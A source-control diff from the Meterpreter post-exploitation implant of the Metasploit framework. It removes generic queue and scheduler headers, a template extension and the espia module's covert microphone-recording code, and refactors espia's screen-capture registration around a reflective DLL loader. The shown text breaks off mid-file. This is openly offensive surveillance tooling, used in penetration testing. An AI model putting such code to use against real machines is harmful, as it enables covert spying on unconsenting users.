diff --git a/c/meterpreter/source/common/queue.h b/c/meterpreter/source/common/queue.h deleted file mode 100644 index dc2eb05b..00000000 --- a/c/meterpreter/source/common/queue.h +++ /dev/null @@ -1,627 +0,0 @@ -/*- - * Copyright (c) 1991, 1993 - * The Regents of the University of California. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 4. Neither the name of the University nor the names of its contributors - * may be used to endorse or promote products derived from this software - * without specific prior written permission. - * - * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND - * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE - * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL - * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS - * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT - * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY - * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF - * SUCH DAMAGE. - * - * @(#)queue.h 8.5 (Berkeley) 8/20/94 - * $FreeBSD: head/sys/sys/queue.h 179210 2008-05-22 14:40:03Z ed $ - */ - -#ifndef _SYS_QUEUE_H_ -#define _SYS_QUEUE_H_ - -#include - -/* - * This file defines four types of data structures: singly-linked lists, - * singly-linked tail queues, lists and tail queues. - * - * A singly-linked list is headed by a single forward pointer. The elements - * are singly linked for minimum space and pointer manipulation overhead at - * the expense of O(n) removal for arbitrary elements. New elements can be - * added to the list after an existing element or at the head of the list. - * Elements being removed from the head of the list should use the explicit - * macro for this purpose for optimum efficiency. A singly-linked list may - * only be traversed in the forward direction. Singly-linked lists are ideal - * for applications with large datasets and few or no removals or for - * implementing a LIFO queue. - * - * A singly-linked tail queue is headed by a pair of pointers, one to the - * head of the list and the other to the tail of the list. The elements are - * singly linked for minimum space and pointer manipulation overhead at the - * expense of O(n) removal for arbitrary elements. New elements can be added - * to the list after an existing element, at the head of the list, or at the - * end of the list. Elements being removed from the head of the tail queue - * should use the explicit macro for this purpose for optimum efficiency. - * A singly-linked tail queue may only be traversed in the forward direction. - * Singly-linked tail queues are ideal for applications with large datasets - * and few or no removals or for implementing a FIFO queue. - * - * A list is headed by a single forward pointer (or an array of forward - * pointers for a hash table header). The elements are doubly linked - * so that an arbitrary element can be removed without a need to - * traverse the list. New elements can be added to the list before - * or after an existing element or at the head of the list. A list - * may only be traversed in the forward direction. - * - * A tail queue is headed by a pair of pointers, one to the head of the - * list and the other to the tail of the list. The elements are doubly - * linked so that an arbitrary element can be removed without a need to - * traverse the list. New elements can be added to the list before or - * after an existing element, at the head of the list, or at the end of - * the list. A tail queue may be traversed in either direction. - * - * For details on the use of these macros, see the queue(3) manual page. - * - * - * SLIST LIST STAILQ TAILQ - * _HEAD + + + + - * _HEAD_INITIALIZER + + + + - * _ENTRY + + + + - * _INIT + + + + - * _EMPTY + + + + - * _FIRST + + + + - * _NEXT + + + + - * _PREV - - - + - * _LAST - - + + - * _FOREACH + + + + - * _FOREACH_SAFE + + + + - * _FOREACH_REVERSE - - - + - * _FOREACH_REVERSE_SAFE - - - + - * _INSERT_HEAD + + + + - * _INSERT_BEFORE - + - + - * _INSERT_AFTER + + + + - * _INSERT_TAIL - - + + - * _CONCAT - - + + - * _REMOVE_HEAD + - + - - * _REMOVE_NEXT + - + - - * _REMOVE + + + + - * - */ -#ifdef QUEUE_MACRO_DEBUG -/* Store the last 2 places the queue element or head was altered */ -struct qm_trace { - char * lastfile; - int lastline; - char * prevfile; - int prevline; -}; - -#define TRACEBUF struct qm_trace trace; -#define TRASHIT(x) do {(x) = (void *)-1;} while (0) - -#define QMD_TRACE_HEAD(head) do { \ - (head)->trace.prevline = (head)->trace.lastline; \ - (head)->trace.prevfile = (head)->trace.lastfile; \ - (head)->trace.lastline = __LINE__; \ - (head)->trace.lastfile = __FILE__; \ -} while (0) - -#define QMD_TRACE_ELEM(elem) do { \ - (elem)->trace.prevline = (elem)->trace.lastline; \ - (elem)->trace.prevfile = (elem)->trace.lastfile; \ - (elem)->trace.lastline = __LINE__; \ - (elem)->trace.lastfile = __FILE__; \ -} while (0) - -#else -#define QMD_TRACE_ELEM(elem) -#define QMD_TRACE_HEAD(head) -#define TRACEBUF -#define TRASHIT(x) -#endif /* QUEUE_MACRO_DEBUG */ - -/* - * Singly-linked List declarations. - */ -#define SLIST_HEAD(name, type) \ -struct name { \ - struct type *slh_first; /* first element */ \ -} - -#define SLIST_HEAD_INITIALIZER(head) \ - { NULL } - -#define SLIST_ENTRY(type) \ -struct { \ - struct type *sle_next; /* next element */ \ -} - -/* - * Singly-linked List functions. - */ -#define SLIST_EMPTY(head) ((head)->slh_first == NULL) - -#define SLIST_FIRST(head) ((head)->slh_first) - -#define SLIST_FOREACH(var, head, field) \ - for ((var) = SLIST_FIRST((head)); \ - (var); \ - (var) = SLIST_NEXT((var), field)) - -#define SLIST_FOREACH_SAFE(var, head, field, tvar) \ - for ((var) = SLIST_FIRST((head)); \ - (var) && ((tvar) = SLIST_NEXT((var), field), 1); \ - (var) = (tvar)) - -#define SLIST_FOREACH_PREVPTR(var, varp, head, field) \ - for ((varp) = &SLIST_FIRST((head)); \ - ((var) = *(varp)) != NULL; \ - (varp) = &SLIST_NEXT((var), field)) - -#define SLIST_INIT(head) do { \ - SLIST_FIRST((head)) = NULL; \ -} while (0) - -#define SLIST_INSERT_AFTER(slistelm, elm, field) do { \ - SLIST_NEXT((elm), field) = SLIST_NEXT((slistelm), field); \ - SLIST_NEXT((slistelm), field) = (elm); \ -} while (0) - -#define SLIST_INSERT_HEAD(head, elm, field) do { \ - SLIST_NEXT((elm), field) = SLIST_FIRST((head)); \ - SLIST_FIRST((head)) = (elm); \ -} while (0) - -#define SLIST_NEXT(elm, field) ((elm)->field.sle_next) - -#define SLIST_REMOVE(head, elm, type, field) do { \ - if (SLIST_FIRST((head)) == (elm)) { \ - SLIST_REMOVE_HEAD((head), field); \ - } \ - else { \ - struct type *curelm = SLIST_FIRST((head)); \ - while (SLIST_NEXT(curelm, field) != (elm)) \ - curelm = SLIST_NEXT(curelm, field); \ - SLIST_REMOVE_NEXT(head, curelm, field); \ - } \ - TRASHIT((elm)->field.sle_next); \ -} while (0) - -#define SLIST_REMOVE_NEXT(head, elm, field) do { \ - SLIST_NEXT(elm, field) = \ - SLIST_NEXT(SLIST_NEXT(elm, field), field); \ -} while (0) - -#define SLIST_REMOVE_HEAD(head, field) do { \ - SLIST_FIRST((head)) = SLIST_NEXT(SLIST_FIRST((head)), field); \ -} while (0) - -/* - * Singly-linked Tail queue declarations. - */ -#define STAILQ_HEAD(name, type) \ -struct name { \ - struct type *stqh_first;/* first element */ \ - struct type **stqh_last;/* addr of last next element */ \ -} - -#define STAILQ_HEAD_INITIALIZER(head) \ - { NULL, &(head).stqh_first } - -#define STAILQ_ENTRY(type) \ -struct { \ - struct type *stqe_next; /* next element */ \ -} - -/* - * Singly-linked Tail queue functions. - */ -#define STAILQ_CONCAT(head1, head2) do { \ - if (!STAILQ_EMPTY((head2))) { \ - *(head1)->stqh_last = (head2)->stqh_first; \ - (head1)->stqh_last = (head2)->stqh_last; \ - STAILQ_INIT((head2)); \ - } \ -} while (0) - -#define STAILQ_EMPTY(head) ((head)->stqh_first == NULL) - -#define STAILQ_FIRST(head) ((head)->stqh_first) - -#define STAILQ_FOREACH(var, head, field) \ - for((var) = STAILQ_FIRST((head)); \ - (var); \ - (var) = STAILQ_NEXT((var), field)) - - -#define STAILQ_FOREACH_SAFE(var, head, field, tvar) \ - for ((var) = STAILQ_FIRST((head)); \ - (var) && ((tvar) = STAILQ_NEXT((var), field), 1); \ - (var) = (tvar)) - -#define STAILQ_INIT(head) do { \ - STAILQ_FIRST((head)) = NULL; \ - (head)->stqh_last = &STAILQ_FIRST((head)); \ -} while (0) - -#define STAILQ_INSERT_AFTER(head, tqelm, elm, field) do { \ - if ((STAILQ_NEXT((elm), field) = STAILQ_NEXT((tqelm), field)) == NULL)\ - (head)->stqh_last = &STAILQ_NEXT((elm), field); \ - STAILQ_NEXT((tqelm), field) = (elm); \ -} while (0) - -#define STAILQ_INSERT_HEAD(head, elm, field) do { \ - if ((STAILQ_NEXT((elm), field) = STAILQ_FIRST((head))) == NULL) \ - (head)->stqh_last = &STAILQ_NEXT((elm), field); \ - STAILQ_FIRST((head)) = (elm); \ -} while (0) - -#define STAILQ_INSERT_TAIL(head, elm, field) do { \ - STAILQ_NEXT((elm), field) = NULL; \ - *(head)->stqh_last = (elm); \ - (head)->stqh_last = &STAILQ_NEXT((elm), field); \ -} while (0) - -#define STAILQ_LAST(head, type, field) \ - (STAILQ_EMPTY((head)) ? \ - NULL : \ - ((struct type *)(void *) \ - ((char *)((head)->stqh_last) - __offsetof(struct type, field)))) - -#define STAILQ_NEXT(elm, field) ((elm)->field.stqe_next) - -#define STAILQ_REMOVE(head, elm, type, field) do { \ - if (STAILQ_FIRST((head)) == (elm)) { \ - STAILQ_REMOVE_HEAD((head), field); \ - } \ - else { \ - struct type *curelm = STAILQ_FIRST((head)); \ - while (STAILQ_NEXT(curelm, field) != (elm)) \ - curelm = STAILQ_NEXT(curelm, field); \ - STAILQ_REMOVE_NEXT(head, curelm, field); \ - } \ - TRASHIT((elm)->field.stqe_next); \ -} while (0) - -#define STAILQ_REMOVE_HEAD(head, field) do { \ - if ((STAILQ_FIRST((head)) = \ - STAILQ_NEXT(STAILQ_FIRST((head)), field)) == NULL) \ - (head)->stqh_last = &STAILQ_FIRST((head)); \ -} while (0) - -#define STAILQ_REMOVE_NEXT(head, elm, field) do { \ - if ((STAILQ_NEXT(elm, field) = \ - STAILQ_NEXT(STAILQ_NEXT(elm, field), field)) == NULL) \ - (head)->stqh_last = &STAILQ_NEXT((elm), field); \ -} while (0) - -/* - * List declarations. - */ -#define LIST_HEAD(name, type) \ -struct name { \ - struct type *lh_first; /* first element */ \ -} - -#define LIST_HEAD_INITIALIZER(head) \ - { NULL } - -#define LIST_ENTRY(type) \ -struct { \ - struct type *le_next; /* next element */ \ - struct type **le_prev; /* address of previous next element */ \ -} - -/* - * List functions. - */ - -#if (defined(_KERNEL) && defined(INVARIANTS)) -#define QMD_LIST_CHECK_HEAD(head, field) do { \ - if (LIST_FIRST((head)) != NULL && \ - LIST_FIRST((head))->field.le_prev != \ - &LIST_FIRST((head))) \ - panic("Bad list head %p first->prev != head", (head)); \ -} while (0) - -#define QMD_LIST_CHECK_NEXT(elm, field) do { \ - if (LIST_NEXT((elm), field) != NULL && \ - LIST_NEXT((elm), field)->field.le_prev != \ - &((elm)->field.le_next)) \ - panic("Bad link elm %p next->prev != elm", (elm)); \ -} while (0) - -#define QMD_LIST_CHECK_PREV(elm, field) do { \ - if (*(elm)->field.le_prev != (elm)) \ - panic("Bad link elm %p prev->next != elm", (elm)); \ -} while (0) -#else -#define QMD_LIST_CHECK_HEAD(head, field) -#define QMD_LIST_CHECK_NEXT(elm, field) -#define QMD_LIST_CHECK_PREV(elm, field) -#endif /* (_KERNEL && INVARIANTS) */ - -#define LIST_EMPTY(head) ((head)->lh_first == NULL) - -#define LIST_FIRST(head) ((head)->lh_first) - -#define LIST_FOREACH(var, head, field) \ - for ((var) = LIST_FIRST((head)); \ - (var); \ - (var) = LIST_NEXT((var), field)) - -#define LIST_FOREACH_SAFE(var, head, field, tvar) \ - for ((var) = LIST_FIRST((head)); \ - (var) && ((tvar) = LIST_NEXT((var), field), 1); \ - (var) = (tvar)) - -#define LIST_INIT(head) do { \ - LIST_FIRST((head)) = NULL; \ -} while (0) - -#define LIST_INSERT_AFTER(listelm, elm, field) do { \ - QMD_LIST_CHECK_NEXT(listelm, field); \ - if ((LIST_NEXT((elm), field) = LIST_NEXT((listelm), field)) != NULL)\ - LIST_NEXT((listelm), field)->field.le_prev = \ - &LIST_NEXT((elm), field); \ - LIST_NEXT((listelm), field) = (elm); \ - (elm)->field.le_prev = &LIST_NEXT((listelm), field); \ -} while (0) - -#define LIST_INSERT_BEFORE(listelm, elm, field) do { \ - QMD_LIST_CHECK_PREV(listelm, field); \ - (elm)->field.le_prev = (listelm)->field.le_prev; \ - LIST_NEXT((elm), field) = (listelm); \ - *(listelm)->field.le_prev = (elm); \ - (listelm)->field.le_prev = &LIST_NEXT((elm), field); \ -} while (0) - -#define LIST_INSERT_HEAD(head, elm, field) do { \ - QMD_LIST_CHECK_HEAD((head), field); \ - if ((LIST_NEXT((elm), field) = LIST_FIRST((head))) != NULL) \ - LIST_FIRST((head))->field.le_prev = &LIST_NEXT((elm), field);\ - LIST_FIRST((head)) = (elm); \ - (elm)->field.le_prev = &LIST_FIRST((head)); \ -} while (0) - -#define LIST_NEXT(elm, field) ((elm)->field.le_next) - -#define LIST_REMOVE(elm, field) do { \ - QMD_LIST_CHECK_NEXT(elm, field); \ - QMD_LIST_CHECK_PREV(elm, field); \ - if (LIST_NEXT((elm), field) != NULL) \ - LIST_NEXT((elm), field)->field.le_prev = \ - (elm)->field.le_prev; \ - *(elm)->field.le_prev = LIST_NEXT((elm), field); \ - TRASHIT((elm)->field.le_next); \ - TRASHIT((elm)->field.le_prev); \ -} while (0) - -/* - * Tail queue declarations. - */ -#define TAILQ_HEAD(name, type) \ -struct name { \ - struct type *tqh_first; /* first element */ \ - struct type **tqh_last; /* addr of last next element */ \ - TRACEBUF \ -} - -#define TAILQ_HEAD_INITIALIZER(head) \ - { NULL, &(head).tqh_first } - -#define TAILQ_ENTRY(type) \ -struct { \ - struct type *tqe_next; /* next element */ \ - struct type **tqe_prev; /* address of previous next element */ \ - TRACEBUF \ -} - -/* - * Tail queue functions. - */ -#if (defined(_KERNEL) && defined(INVARIANTS)) -#define QMD_TAILQ_CHECK_HEAD(head, field) do { \ - if (!TAILQ_EMPTY(head) && \ - TAILQ_FIRST((head))->field.tqe_prev != \ - &TAILQ_FIRST((head))) \ - panic("Bad tailq head %p first->prev != head", (head)); \ -} while (0) - -#define QMD_TAILQ_CHECK_TAIL(head, field) do { \ - if (*(head)->tqh_last != NULL) \ - panic("Bad tailq NEXT(%p->tqh_last) != NULL", (head)); \ -} while (0) - -#define QMD_TAILQ_CHECK_NEXT(elm, field) do { \ - if (TAILQ_NEXT((elm), field) != NULL && \ - TAILQ_NEXT((elm), field)->field.tqe_prev != \ - &((elm)->field.tqe_next)) \ - panic("Bad link elm %p next->prev != elm", (elm)); \ -} while (0) - -#define QMD_TAILQ_CHECK_PREV(elm, field) do { \ - if (*(elm)->field.tqe_prev != (elm)) \ - panic("Bad link elm %p prev->next != elm", (elm)); \ -} while (0) -#else -#define QMD_TAILQ_CHECK_HEAD(head, field) -#define QMD_TAILQ_CHECK_TAIL(head, headname) -#define QMD_TAILQ_CHECK_NEXT(elm, field) -#define QMD_TAILQ_CHECK_PREV(elm, field) -#endif /* (_KERNEL && INVARIANTS) */ - -#define TAILQ_CONCAT(head1, head2, field) do { \ - if (!TAILQ_EMPTY(head2)) { \ - *(head1)->tqh_last = (head2)->tqh_first; \ - (head2)->tqh_first->field.tqe_prev = (head1)->tqh_last; \ - (head1)->tqh_last = (head2)->tqh_last; \ - TAILQ_INIT((head2)); \ - QMD_TRACE_HEAD(head1); \ - QMD_TRACE_HEAD(head2); \ - } \ -} while (0) - -#define TAILQ_EMPTY(head) ((head)->tqh_first == NULL) - -#define TAILQ_FIRST(head) ((head)->tqh_first) - -#define TAILQ_FOREACH(var, head, field) \ - for ((var) = TAILQ_FIRST((head)); \ - (var); \ - (var) = TAILQ_NEXT((var), field)) - -#define TAILQ_FOREACH_SAFE(var, head, field, tvar) \ - for ((var) = TAILQ_FIRST((head)); \ - (var) && ((tvar) = TAILQ_NEXT((var), field), 1); \ - (var) = (tvar)) - -#define TAILQ_FOREACH_REVERSE(var, head, headname, field) \ - for ((var) = TAILQ_LAST((head), headname); \ - (var); \ - (var) = TAILQ_PREV((var), headname, field)) - -#define TAILQ_FOREACH_REVERSE_SAFE(var, head, headname, field, tvar) \ - for ((var) = TAILQ_LAST((head), headname); \ - (var) && ((tvar) = TAILQ_PREV((var), headname, field), 1); \ - (var) = (tvar)) - -#define TAILQ_INIT(head) do { \ - TAILQ_FIRST((head)) = NULL; \ - (head)->tqh_last = &TAILQ_FIRST((head)); \ - QMD_TRACE_HEAD(head); \ -} while (0) - -#define TAILQ_INSERT_AFTER(head, listelm, elm, field) do { \ - QMD_TAILQ_CHECK_NEXT(listelm, field); \ - if ((TAILQ_NEXT((elm), field) = TAILQ_NEXT((listelm), field)) != NULL)\ - TAILQ_NEXT((elm), field)->field.tqe_prev = \ - &TAILQ_NEXT((elm), field); \ - else { \ - (head)->tqh_last = &TAILQ_NEXT((elm), field); \ - QMD_TRACE_HEAD(head); \ - } \ - TAILQ_NEXT((listelm), field) = (elm); \ - (elm)->field.tqe_prev = &TAILQ_NEXT((listelm), field); \ - QMD_TRACE_ELEM(&(elm)->field); \ - QMD_TRACE_ELEM(&listelm->field); \ -} while (0) - -#define TAILQ_INSERT_BEFORE(listelm, elm, field) do { \ - QMD_TAILQ_CHECK_PREV(listelm, field); \ - (elm)->field.tqe_prev = (listelm)->field.tqe_prev; \ - TAILQ_NEXT((elm), field) = (listelm); \ - *(listelm)->field.tqe_prev = (elm); \ - (listelm)->field.tqe_prev = &TAILQ_NEXT((elm), field); \ - QMD_TRACE_ELEM(&(elm)->field); \ - QMD_TRACE_ELEM(&listelm->field); \ -} while (0) - -#define TAILQ_INSERT_HEAD(head, elm, field) do { \ - QMD_TAILQ_CHECK_HEAD(head, field); \ - if ((TAILQ_NEXT((elm), field) = TAILQ_FIRST((head))) != NULL) \ - TAILQ_FIRST((head))->field.tqe_prev = \ - &TAILQ_NEXT((elm), field); \ - else \ - (head)->tqh_last = &TAILQ_NEXT((elm), field); \ - TAILQ_FIRST((head)) = (elm); \ - (elm)->field.tqe_prev = &TAILQ_FIRST((head)); \ - QMD_TRACE_HEAD(head); \ - QMD_TRACE_ELEM(&(elm)->field); \ -} while (0) - -#define TAILQ_INSERT_TAIL(head, elm, field) do { \ - QMD_TAILQ_CHECK_TAIL(head, field); \ - TAILQ_NEXT((elm), field) = NULL; \ - (elm)->field.tqe_prev = (head)->tqh_last; \ - *(head)->tqh_last = (elm); \ - (head)->tqh_last = &TAILQ_NEXT((elm), field); \ - QMD_TRACE_HEAD(head); \ - QMD_TRACE_ELEM(&(elm)->field); \ -} while (0) - -#define TAILQ_LAST(head, headname) \ - (*(((struct headname *)((head)->tqh_last))->tqh_last)) - -#define TAILQ_NEXT(elm, field) ((elm)->field.tqe_next) - -#define TAILQ_PREV(elm, headname, field) \ - (*(((struct headname *)((elm)->field.tqe_prev))->tqh_last)) - -#define TAILQ_REMOVE(head, elm, field) do { \ - QMD_TAILQ_CHECK_NEXT(elm, field); \ - QMD_TAILQ_CHECK_PREV(elm, field); \ - if ((TAILQ_NEXT((elm), field)) != NULL) \ - TAILQ_NEXT((elm), field)->field.tqe_prev = \ - (elm)->field.tqe_prev; \ - else { \ - (head)->tqh_last = (elm)->field.tqe_prev; \ - QMD_TRACE_HEAD(head); \ - } \ - *(elm)->field.tqe_prev = TAILQ_NEXT((elm), field); \ - TRASHIT((elm)->field.tqe_next); \ - TRASHIT((elm)->field.tqe_prev); \ - QMD_TRACE_ELEM(&(elm)->field); \ -} while (0) - - -#ifdef _KERNEL - -/* - * XXX insque() and remque() are an old way of handling certain queues. - * They bogusly assumes that all queue heads look alike. - */ - -struct quehead { - struct quehead *qh_link; - struct quehead *qh_rlink; -}; - -#ifdef __CC_SUPPORTS___INLINE - -static __inline void -insque(void *a, void *b) -{ - struct quehead *element = (struct quehead *)a, - *head = (struct quehead *)b; - - element->qh_link = head->qh_link; - element->qh_rlink = head; - head->qh_link = element; - element->qh_link->qh_rlink = element; -} - -static __inline void -remque(void *a) -{ - struct quehead *element = (struct quehead *)a; - - element->qh_link->qh_rlink = element->qh_rlink; - element->qh_rlink->qh_link = element->qh_link; - element->qh_rlink = 0; -} - -#else /* !__CC_SUPPORTS___INLINE */ - -void insque(void *a, void *b); -void remque(void *a); - -#endif /* __CC_SUPPORTS___INLINE */ - -#endif /* _KERNEL */ - -#endif /* !_SYS_QUEUE_H_ */ diff --git a/c/meterpreter/source/common/scheduler.h b/c/meterpreter/source/common/scheduler.h deleted file mode 100644 index 3e600de7..00000000 --- a/c/meterpreter/source/common/scheduler.h +++ /dev/null @@ -1,23 +0,0 @@ -#ifndef _METERPRETER_LIB_SCHEDULER_H -#define _METERPRETER_LIB_SCHEDULER_H - -#include "linkage.h" -#include "remote.h" - -typedef enum -{ - Pause = 1, - Resume = 2, - Stop = 3 -} SchedularSignal; - -typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID entryContext, LPVOID threadContext); -typedef DWORD (*WaitableDestroyRoutine)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext); - -LINKAGE DWORD scheduler_initialize( Remote * remote ); -LINKAGE DWORD scheduler_destroy( VOID ); -LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy ); -LINKAGE DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal ); -LINKAGE DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ); - -#endif diff --git a/c/meterpreter/source/extensions/bare/bare.c b/c/meterpreter/source/extensions/bare/bare.c deleted file mode 100644 index d6611d57..00000000 --- a/c/meterpreter/source/extensions/bare/bare.c +++ /dev/null @@ -1,43 +0,0 @@ -/*! - * @file bare.c - * @brief Entry point and intialisation functionality for the bare extention. - */ -#include "../../common/common.h" - -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" - -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - -Command customCommands[] = -{ - // custom commands go here - COMMAND_TERMINATOR -}; - -/*! - * @brief Initialize the server extension - */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) -{ - hMetSrv = remote->met_srv; - - command_register_all(customCommands); - - return ERROR_SUCCESS; -} - -/*! - * @brief Deinitialize the server extension - */ -DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) -{ - command_deregister_all(customCommands); - - return ERROR_SUCCESS; -} - diff --git a/c/meterpreter/source/extensions/bare/bare.h b/c/meterpreter/source/extensions/bare/bare.h deleted file mode 100644 index 227e15ca..00000000 --- a/c/meterpreter/source/extensions/bare/bare.h +++ /dev/null @@ -1,12 +0,0 @@ -/*! - * @file bare.h - * @brief Entry point and intialisation declrations for the bare extention. - */ -#ifndef _METERPRETER_SOURCE_EXTENSION_BARE_BARE_H -#define _METERPRETER_SOURCE_EXTENSION_BARE_BARE_H - -#define TLV_TYPE_EXTENSION_BARE 0 - -// Custom TLVs go here - -#endif diff --git a/c/meterpreter/source/extensions/espia/audio.c b/c/meterpreter/source/extensions/espia/audio.c deleted file mode 100644 index 126b59d1..00000000 --- a/c/meterpreter/source/extensions/espia/audio.c +++ /dev/null @@ -1,103 +0,0 @@ -#define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" -#include -#include -#include -#include -#include -#include -#include "espia.h" - -#pragma comment(lib, "vfw32.lib") -#pragma comment(lib, "winmm.lib") - -#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0) - -BOOL capmicaudio(char* szFile, int millisecs) -{ - UINT wDeviceID; - DWORD dwReturn; - MCI_OPEN_PARMSA mciOpenParms; - MCI_RECORD_PARMS mciRecordParms; - MCI_SAVE_PARMSA mciSaveParms; - MCI_PLAY_PARMS mciPlayParms; - DWORD dwMilliSeconds; - - dwMilliSeconds = millisecs; - - // Open a waveform-audio device with a new file for recording. - mciOpenParms.lpstrDeviceType = "waveaudio"; - mciOpenParms.lpstrElementName = ""; - if (dwReturn = mciSendCommand(0, MCI_OPEN, MCI_OPEN_ELEMENT | MCI_OPEN_TYPE, (DWORD_PTR)(LPVOID)&mciOpenParms)) - { - // Failed to open device; don't close it, just return error. - return (dwReturn); - } - - // The device opened successfully; get the device ID. - wDeviceID = mciOpenParms.wDeviceID; - - mciRecordParms.dwTo = dwMilliSeconds; - if (dwReturn = mciSendCommand(wDeviceID, MCI_RECORD, - MCI_TO | MCI_WAIT, (DWORD)(DWORD_PTR)&mciRecordParms)) - { - mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0); - return (dwReturn); - } - - // Play the recording and query user to save the file. - mciPlayParms.dwFrom = 0L; - - // Save the recording to a file. Wait for - // the operation to complete before continuing. - mciSaveParms.lpfilename = szFile; - if (dwReturn = mciSendCommandA(wDeviceID, MCI_SAVE, MCI_SAVE_FILE | MCI_WAIT, (DWORD_PTR)(LPVOID)&mciSaveParms)) - { - mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0); - return (dwReturn); - } - - return (0L); -} - -int __declspec(dllexport) controlmic(char **waveresults, int msecs) { - DWORD dwError = 0; - char *wavestring = NULL; - - /* METERPRETER CODE */ - // char buffer[100]; - /* END METERPRETER CODE */ - - capmicaudio("C:\\test.wav", msecs); - - *waveresults = wavestring; - - /* return the correct code */ - return dwError; -} - - -/* - * Grabs the audio from mic. - */ -DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - DWORD res = ERROR_SUCCESS; - char *wave = NULL; - - if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME))) - { - res = GetLastError(); - } - - //packet_add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave); - - - packet_transmit_response(res, remote, response); - - if (wave) - free(wave); - - return res; -} diff --git a/c/meterpreter/source/extensions/espia/audio.h b/c/meterpreter/source/extensions/espia/audio.h deleted file mode 100644 index 4f1ef76b..00000000 --- a/c/meterpreter/source/extensions/espia/audio.h +++ /dev/null @@ -1,6 +0,0 @@ -#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H -#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H - -DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet); - -#endif diff --git a/c/meterpreter/source/extensions/espia/espia.c b/c/meterpreter/source/extensions/espia/espia.c index ba5d81e1..79c15ac0 100644 --- a/c/meterpreter/source/extensions/espia/espia.c +++ b/c/meterpreter/source/extensions/espia/espia.c @@ -2,41 +2,33 @@ * This module implemenet webcam frae capture and mic recording features. */ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include "espia.h" -#include "audio.h" -#include "video.h" #include "screen.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. +// Required so that use of the API works. +MetApi* met_api = NULL; + #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor - -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - Command customCommands[] = { - COMMAND_REQ( "espia_video_get_dev_image", request_video_get_dev_image ), - COMMAND_REQ( "espia_audio_get_dev_audio", request_audio_get_dev_audio ), COMMAND_REQ( "espia_image_get_dev_screen", request_image_get_dev_screen ), COMMAND_TERMINATOR }; /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all( customCommands ); + met_api->command.register_all( customCommands ); return ERROR_SUCCESS; } @@ -48,7 +40,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all( customCommands ); + met_api->command.deregister_all( customCommands ); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/espia/screen.c b/c/meterpreter/source/extensions/espia/screen.c index c606a820..98d6d4fe 100644 --- a/c/meterpreter/source/extensions/espia/screen.c +++ b/c/meterpreter/source/extensions/espia/screen.c @@ -1,5 +1,5 @@ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" #include #include #include @@ -9,6 +9,7 @@ #include #include "espia.h" #include "screen.h" +#include "common_metapi.h" /* Function modified 